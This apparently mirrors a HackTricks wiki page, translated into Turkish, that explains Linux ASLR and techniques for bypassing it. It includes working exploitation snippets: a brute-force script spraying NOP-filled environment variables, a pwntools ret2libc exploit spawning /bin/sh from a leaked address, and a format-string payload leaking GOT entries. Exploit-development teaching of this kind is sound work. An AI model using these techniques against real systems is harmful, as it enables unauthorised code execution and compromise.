mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
283 lines
14 KiB
Markdown
283 lines
14 KiB
Markdown
# ASLR
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Temel Bilgiler
|
||
|
||
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve **sistem ve uygulama süreçleri** tarafından kullanılan bellek adreslerini rastgele hale getirir. Bu sayede, bir saldırganın belirli süreçlerin ve verilerin, örneğin yığın, yığın bellek ve kütüphaneler gibi, konumunu tahmin etmesi önemli ölçüde zorlaşır ve bu da belirli türdeki istismarları, özellikle tampon taşmaları, azaltır.
|
||
|
||
### **ASLR Durumunu Kontrol Etme**
|
||
|
||
Bir Linux sisteminde ASLR durumunu **kontrol etmek** için, **`/proc/sys/kernel/randomize_va_space`** dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer, uygulanan ASLR türünü belirler:
|
||
|
||
- **0**: Rastgeleleştirme yok. Her şey statik.
|
||
- **1**: İhtiyatlı rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilmiştir.
|
||
- **2**: Tam rastgeleleştirme. İhtiyatlı rastgeleleştirme ile rastgeleleştirilen unsurlara ek olarak, `brk()` ile yönetilen bellek rastgeleleştirilmiştir.
|
||
|
||
ASLR durumunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
|
||
```bash
|
||
cat /proc/sys/kernel/randomize_va_space
|
||
```
|
||
### **ASLR'yi Devre Dışı Bırakma**
|
||
|
||
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'yi devre dışı bırakmak, genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl yapabileceğiniz:
|
||
```bash
|
||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||
```
|
||
ASLR'yi bir yürütme için de devre dışı bırakabilirsiniz:
|
||
```bash
|
||
setarch `arch` -R ./bin args
|
||
setarch `uname -m` -R ./bin args
|
||
```
|
||
### **ASLR'yi Etkinleştirme**
|
||
|
||
ASLR'yi **etkinleştirmek** için, `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Bu genellikle root ayrıcalıkları gerektirir. Tam rastgeleleştirme, aşağıdaki komutla yapılabilir:
|
||
```bash
|
||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||
```
|
||
### **Yeniden Başlatmalarda Süreklilik**
|
||
|
||
`echo` komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekir:
|
||
```tsconfig
|
||
kernel.randomize_va_space=2 # Enable ASLR
|
||
# or
|
||
kernel.randomize_va_space=0 # Disable ASLR
|
||
```
|
||
`/etc/sysctl.conf` dosyasını düzenledikten sonra, değişiklikleri uygulamak için:
|
||
```bash
|
||
sudo sysctl -p
|
||
```
|
||
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
|
||
|
||
## **Atlatmalar**
|
||
|
||
### 32bit brute-forcing
|
||
|
||
PaX, işlem adres alanını **3 gruba** ayırır:
|
||
|
||
- **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken, her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
|
||
- `mmap()` ile tahsis edilen **bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır.
|
||
- **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. bayttan 20. bayta kadar dahil), **16 bayt** hizalıdır —> Bu, **524,288 olası gerçek yığın adresi** ile sonuçlanır.
|
||
|
||
Önceki veriler 32-bit sistemler içindir ve azaltılmış nihai entropi, ASLR'yi atlatmayı mümkün kılarak, istismarın başarılı bir şekilde tamamlanana kadar yürütmeyi tekrar tekrar denemeyi sağlar.
|
||
|
||
#### Brute-force fikirleri:
|
||
|
||
- Eğer shellcode'dan önce **büyük bir NOP sled** barındıracak kadar büyük bir taşma varsa, yığında adresleri brute-force yaparak akışın **NOP sled'in bir kısmının üzerinden atlamasını** sağlayabilirsiniz.
|
||
- Taşma o kadar büyük değilse ve istismar yerel olarak çalıştırılabiliyorsa, **NOP sled ve shellcode'u bir ortam değişkenine eklemek** mümkündür.
|
||
- Eğer istismar yerel ise, libc'nin temel adresini brute-force yapmayı deneyebilirsiniz (32bit sistemler için yararlıdır):
|
||
```python
|
||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||
```
|
||
- Uzak bir sunucuya saldırıyorsanız, `usleep` fonksiyonunun `libc` adresini **brute-force** etmeyi deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10 saniye ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur.
|
||
|
||
> [!TIP]
|
||
> 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
|
||
|
||
### 64 bit yığın brute-forcing
|
||
|
||
Yığın üzerinde çevresel değişkenlerle büyük bir alan kaplamak ve ardından bunu istismar etmek için yerel olarak yüzlerce/binlerce kez kötüye kullanmayı denemek mümkündür.\
|
||
Aşağıdaki kod, yığında **sadece bir adres seçmenin** nasıl mümkün olduğunu ve her **yüzlerce çalıştırmadan** o adresin **NOP talimatını** içereceğini göstermektedir:
|
||
```c
|
||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||
#include <stdio.h>
|
||
|
||
int main() {
|
||
unsigned long long address = 0xffffff1e7e38;
|
||
unsigned int* ptr = (unsigned int*)address;
|
||
unsigned int value = *ptr;
|
||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||
return 0;
|
||
}
|
||
```
|
||
|
||
```python
|
||
import subprocess
|
||
import traceback
|
||
|
||
# Start the process
|
||
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
||
n_nops = int(128000/4)
|
||
shellcode_env_var = nop * n_nops
|
||
|
||
# Define the environment variables you want to set
|
||
env_vars = {
|
||
'a': shellcode_env_var,
|
||
'b': shellcode_env_var,
|
||
'c': shellcode_env_var,
|
||
'd': shellcode_env_var,
|
||
'e': shellcode_env_var,
|
||
'f': shellcode_env_var,
|
||
'g': shellcode_env_var,
|
||
'h': shellcode_env_var,
|
||
'i': shellcode_env_var,
|
||
'j': shellcode_env_var,
|
||
'k': shellcode_env_var,
|
||
'l': shellcode_env_var,
|
||
'm': shellcode_env_var,
|
||
'n': shellcode_env_var,
|
||
'o': shellcode_env_var,
|
||
'p': shellcode_env_var,
|
||
}
|
||
|
||
cont = 0
|
||
while True:
|
||
cont += 1
|
||
|
||
if cont % 10000 == 0:
|
||
break
|
||
|
||
print(cont, end="\r")
|
||
# Define the path to your binary
|
||
binary_path = './aslr-testing'
|
||
|
||
try:
|
||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||
output = process.communicate()[0]
|
||
if "0xd5" in str(output):
|
||
print(str(cont) + " -> " + output)
|
||
except Exception as e:
|
||
print(e)
|
||
print(traceback.format_exc())
|
||
pass
|
||
```
|
||
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
### Yerel Bilgiler (`/proc/[pid]/stat`)
|
||
|
||
Bir sürecin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve **ilginç** bilgiler içerir, örneğin:
|
||
|
||
- **startcode** & **endcode**: İkili dosyanın **TEXT**'inin üstünde ve altında bulunan adresler
|
||
- **startstack**: **stack**'in başlangıç adresi
|
||
- **start_data** & **end_data**: **BSS**'nin üstünde ve altında bulunan adresler
|
||
- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri
|
||
- **arg_start** & **arg_end**: **cli argümanlarının** üstünde ve altında bulunan adresler
|
||
- **env_start** & **env_end**: **env değişkenlerinin** üstünde ve altında bulunan adresler
|
||
|
||
Bu nedenle, eğer saldırgan, istismar edilen ikili dosyanın bulunduğu bilgisayarda ise ve bu ikili dosya ham argümanlardan taşmayı beklemiyorsa, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdi** üzerinden bekliyorsa, bir saldırganın **bu dosyadan bazı adresleri alması ve bunlardan istismar için ofsetler oluşturması mümkündür**.
|
||
|
||
> [!TIP]
|
||
> Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın.
|
||
|
||
### Bir sızıntıya sahip olmak
|
||
|
||
- **Zorluk bir sızıntı vermektir**
|
||
|
||
Eğer size bir sızıntı verilirse (kolay CTF zorlukları), ondan ofsetleri hesaplayabilirsiniz (örneğin, istismar ettiğiniz sistemde kullanılan tam libc sürümünü bildiğinizi varsayarsak). Bu örnek istismar, [**buradan örnek**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) alınmıştır (daha fazla ayrıntı için o sayfaya bakın):
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln-32')
|
||
libc = elf.libc
|
||
p = process()
|
||
|
||
p.recvuntil('at: ')
|
||
system_leak = int(p.recvline(), 16)
|
||
|
||
libc.address = system_leak - libc.sym['system']
|
||
log.success(f'LIBC base: {hex(libc.address)}')
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
libc.sym['system'],
|
||
0x0, # return address
|
||
next(libc.search(b'/bin/sh'))
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
p.interactive()
|
||
```
|
||
- **ret2plt**
|
||
|
||
Bir buffer overflow kullanarak, bir **ret2plt**'yi istismar etmek, libc'den bir fonksiyonun adresini dışarı sarmak mümkün olacaktır. Kontrol et:
|
||
|
||
{{#ref}}
|
||
ret2plt.md
|
||
{{#endref}}
|
||
|
||
- **Format Strings Arbitrary Read**
|
||
|
||
ret2plt'de olduğu gibi, eğer bir format string zafiyeti aracılığıyla rastgele bir okuma varsa, GOT'dan bir **libc fonksiyonu** adresini dışarı sarmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
||
```python
|
||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||
payload += b'|'
|
||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||
|
||
# this part is only relevant if you need to call the main function again
|
||
|
||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||
payload += p32(elf.symbols['main'])
|
||
```
|
||
Daha fazla bilgi için Format Strings arbitrary read hakkında şunları bulabilirsiniz:
|
||
|
||
{{#ref}}
|
||
../../format-strings/
|
||
{{#endref}}
|
||
|
||
### Ret2ret & Ret2pop
|
||
|
||
ASLR'yi atlatmayı deneyin, yığın içindeki adresleri kullanarak:
|
||
|
||
{{#ref}}
|
||
ret2ret.md
|
||
{{#endref}}
|
||
|
||
### vsyscall
|
||
|
||
**`vsyscall`** mekanizması, belirli sistem çağrılarının kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar, ancak bunlar temelde çekirdek parçasıdır. **vsyscall'ların** kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adresler** olmalarıdır. Bu sabit yapı, saldırganların adreslerini belirlemek ve bunları bir istismar içinde kullanmak için bir bilgi sızıntısı açığına ihtiyaç duymadıkları anlamına gelir.\
|
||
Ancak burada çok ilginç aletler bulunmayacaktır (örneğin, bir `ret;` eşdeğeri almak mümkündür)
|
||
|
||
(Aşağıdaki örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) alınmıştır)
|
||
|
||
Örneğin, bir saldırgan bir istismar içinde `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç aletin yürütülmesinden sonra kararsızlığa veya çökmesine yol açabilirken, **vsyscall** bölümünde sağlanan bir `syscall`'ın başlangıcına atlamak başarılı olabilir. Yürütmeyi bu **vsyscall** adresine yönlendiren dikkatlice yerleştirilmiş bir **ROP** aleti ile, bir saldırgan bu istismar parçası için **ASLR**'yi atlatmadan kod yürütme elde edebilir.
|
||
```
|
||
ef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
|
||
gef➤ x/8g 0xffffffffff600000
|
||
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
|
||
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
||
gef➤ x/4i 0xffffffffff600800
|
||
0xffffffffff600800: mov rax,0x135
|
||
0xffffffffff600807: syscall
|
||
0xffffffffff600809: ret
|
||
0xffffffffff60080a: int3
|
||
gef➤ x/4i 0xffffffffff600800
|
||
0xffffffffff600800: mov rax,0x135
|
||
0xffffffffff600807: syscall
|
||
0xffffffffff600809: ret
|
||
0xffffffffff60080a: int3
|
||
```
|
||
### vDSO
|
||
|
||
Bu nedenle, **vdso'yu kullanarak ASLR'yi atlatmanın** mümkün olabileceğini unutmayın, eğer çekirdek CONFIG_COMPAT_VDSO ile derlenmişse çünkü vdso adresi rastgeleleştirilmeyecek. Daha fazla bilgi için kontrol edin:
|
||
|
||
{{#ref}}
|
||
../../rop-return-oriented-programing/ret2vdso.md
|
||
{{#endref}}
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|